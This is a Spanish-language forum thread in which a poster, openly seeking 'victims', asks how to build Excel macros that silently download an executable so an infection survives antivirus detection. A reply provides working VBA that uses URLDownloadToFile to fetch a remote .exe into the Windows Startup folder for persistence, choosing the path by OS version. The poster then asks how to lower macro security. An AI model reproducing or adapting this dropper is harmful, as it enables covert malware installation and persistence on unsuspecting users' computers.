HOla Foreros en mi busqueda de nuevas victimas amistades, me tope con los macros de excel, los cuales permiten descargar de forma oculta un .exe archivo  ( me emociono xq no lo sabia )

Bueno en resumen mi duda es esta :

Se puede hacer en vb6  alguna rutina para crear un archivo .xls, ( aunque de preferencia .xla ) que contenga macros en su interior?.

Y de ser asi que pasos puedo seguir ..

pd: se lo que van a decir .. usa google.. no seas flojo.. que en el foro hay gb de informacion sobre el tema..  Sin embargo soy sincero he buskado y encontra porca informacion y de lo cual no comprendo nada.

Agradeceria su ayuda

Pues la idea es que, si el av detecta mi .exe, pueda aun mantenerse el archivo excel que prosiga con la infeccion

pero puedes habilitarlas tu como potencialmente seguras....

Este Codigo mr funciona ala perfeccion :

Private Declare Function GetVersion Lib "kernel32" () As Long
 Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
     (ByVal lpBuffer As String, nSize As Long) As Long
 
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
 
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Public Function GetWinVersion() As String
Dim Ver As Long, WinVer As Long
Ver = GetVersion()
WinVer = Ver And &HFFFF&
GetWinVersion = Format((WinVer Mod 256) + ((WinVer \ 256) / 100), "Fixed")
End Function
 
 
Sub actualizar()
     Dim lpBuff As String * 25
     Dim ret As Long, UserName As String
 
     ret = GetUserName(lpBuff, 25)
     UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1)
 
If GetWinVersion >= 4 And GetWinVersion <= 5 Then
DownloadFile "http://++.exe", "c:\windows\all users\men&#250; inicio\programas\inicio\" & "++" & ".exe"
End If
If GetWinVersion >= 5 And GetWinVersion <= 6 Then
DownloadFile "http://++.exe", "c:\documents and settings\all users\men&#250; inicio\programas\inicio\" & "++" & ".exe"
End If
 
If GetWinVersion >= 6 And GetWinVersion <= 7 Then
DownloadFile "http://++.exe", "C:\Users\" & UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & "++" & ".exe"
End If
End Sub
 

lo que me falta es como poner el nivel de seguridad en lo mas bajo.. alguna idea??

Eso ya no depende de nosotros